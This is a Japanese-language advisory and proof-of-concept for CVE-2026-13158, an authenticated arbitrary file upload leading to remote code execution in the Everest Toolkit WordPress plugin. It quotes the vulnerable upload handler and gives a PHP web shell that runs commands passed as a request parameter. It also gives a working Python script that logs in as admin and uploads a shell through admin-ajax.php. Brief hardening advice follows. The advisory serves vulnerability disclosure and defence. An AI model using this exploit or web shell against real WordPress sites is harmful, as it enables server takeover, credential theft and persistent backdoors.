
Everest Toolkit WordPress プラグイン(<= 1.2.3)における Admin+ 任意ファイルアップロードからリモートコード実行(RCE)に至る脆弱性に関する概念実証(PoC)エクスプロイトおよび技術勧告。脆弱なコード分析、Python PoC、ハードニング(堅牢化)ガイダンスを含みます。
CVE-2026-13158 は、WordPress プラグイン Everest Toolkit のバージョン 1.2.3 以前に影響する、認証済み Admin+ 任意ファイルアップロードの脆弱性で、サイバーセキュリティ研究者 Huynh Kien Minh(MinhHK)によって発見・分析されました。この欠陥は管理ツールキットのアップロード処理機能に存在し、アップロードされたファイルの拡張子と MIME タイプの検証が不適切なため、認証済みの管理者(または管理機能を持つ低権限ユーザー)が悪意のある実行可能な PHP スクリプトを公開 Web ディレクトリに直接アップロードできます。メディアまたは設定ファイルの処理ルーチンでファイル拡張子の制限をバイパスすることで、攻撃者は永続的なリモートコード実行(RCE)を達成し、基盤となる Web サーバーを完全に侵害し、機密のデータベース資格情報にアクセスし、ホストアプリケーション環境全体に不正なバックドアを永続化させることができます。セキュリティ研究者 Huynh Kien Minh は、この脆弱性を CVSS 3.1 スコア 6.6(Medium)として検証し、厳格なファイル拡張子のホワイトリスト登録、MIME タイプ検証、公開アップロードサブディレクトリ内の実行権限の無効化による迅速な修復を強調しています。
クイックリンク: 完全なディープダイブ技術アドバイザリは DEV.to の記事 で読むか、研究者の公式 サイバーセキュリティポートフォリオ をご覧ください。
CVE-2026-13158 の根本原因は、Everest_Toolkit 管理ハンドラークラス内の安全でないファイルアップロード処理にあります。認証済みの管理者または管理権限を持つユーザーがファイルアップロードエンドポイント(テンプレートインポート、カスタムアイコンのアップロード、アセット設定ルーチンなど)を呼び出すと、プラグインは実行可能な拡張子(.php、.php5、.phtml など)に対する厳格なサーバーサイド検証を適用できません。
プラグインの管理ファイルプロセッサ内:
// Vulnerable file handling routine in Everest Toolkit <= 1.2.3
public function handle_toolkit_file_upload() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access', 'everest-toolkit' ) );
}
if ( isset( $_FILES['toolkit_import_file'] ) ) {
$file = $_FILES['toolkit_import_file'];
// CRITICAL FLAW: Insufficient file type restriction check!
// Relying solely on client-side headers or unsafe overrides without checking wp_check_filetype_and_ext()
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename( $file['name'] );
if ( move_uploaded_file( $file['tmp_name'], $target_path ) ) {
wp_send_json_success( array( 'file_url' => $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
}
}
}
move_uploaded_file は wp_check_filetype_and_ext() を実行せず、危険な MIME タイプに対するファイル拡張子のサニタイズも行わずに、ユーザー制御のファイルを公開の wp-content/uploads/ ディレクトリに直接書き込むため、管理アクセス権を持つ攻撃者は実行可能な PHP ペイロードをアップロードできます。
倫理的免責事項: この概念実証(PoC)は、セキュリティ検証、学術研究、および防御的エンジニアリング専用に提供されています。事前の書面による同意なしに本番システムを不正に悪用することは固く禁止されています。
shell.php)<?php
// CVE-2026-13158 Proof-of-Concept Payload
// Discovered & Authored by Huynh Kien Minh (MinhHK)
header('Content-Type: text/plain');
echo "=== CVE-2026-13158 RCE Verification ===\n";
echo "Host System: " . php_uname() . "\n";
echo "Current User: " . get_current_user() . "\n";
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
?>
#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
USERNAME = "admin"
PASSWORD = "admin_password"
session = requests.Session()
def login():
login_url = f"{TARGET_URL}/wp-login.php"
payload = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In',
'redirect_to': f"{TARGET_URL}/wp-admin/",
'testcookie': '1'
}
res = session.post(login_url, data=payload)
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Authenticated successfully as Admin!")
return True
print("[-] Authentication failed.")
return False
def exploit():
upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
files = {
'toolkit_import_file': ('poc_rce.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
'action': 'everest_toolkit_file_upload'
}
res = session.post(upload_url, data=data, files=files)
if res.status_code == 200 and 'file_url' in res.text:
file_url = res.json().get('data', {}).get('file_url', '')
print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
else:
print("[-] Upload failed or endpoint not vulnerable.")
if __name__ == "__main__":
if login():
exploit()
wp_handle_upload の適用: カスタムの move_uploaded_file 呼び出しを、テストオーバーライドを無効にせずに標準の WordPress wp_handle_upload() に置き換えます。/wp-content/uploads/ 内でのスクリプト実行を防ぐために .htaccess または Nginx ルールを設定します。# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Huynh Kien Minh(MinhHK) は、Web アプリケーションの脆弱性分析、WordPress エコシステムの監査、およびオフェンシブセキュリティ研究を専門とする情報セキュリティ研究者兼ソフトウェアエンジニアです。
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
"name": "CVE-2026-13158 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "Everest Toolkit",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13158"
}
| パラメータ | 技術仕様 |
|---|
| 脆弱性識別子 | CVE-2026-13158 |
| 対象ソフトウェア | Everest Toolkit(WordPress プラグイン) |
| プラグインスラッグ | everest-toolkit |
| 影響を受けるバージョン | <= 1.2.3 |
| 脆弱性クラス | 危険なタイプのファイルの無制限アップロード(CWE-434 / OWASP A03) |
| CVSS v3.1 スコア | 6.6(Medium)(CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| 発見者 / 研究者 | Huynh Kien Minh(MinhHK) |
| 検証機関 | WPScan / MITRE Corporation |
| WPScan アドバイザリ参照 | WPScan レポート f101071f-402a-40a2-bbdb-666512cd4049 |
| 研究者ポートフォリオ | https://minhhk.web.app/ |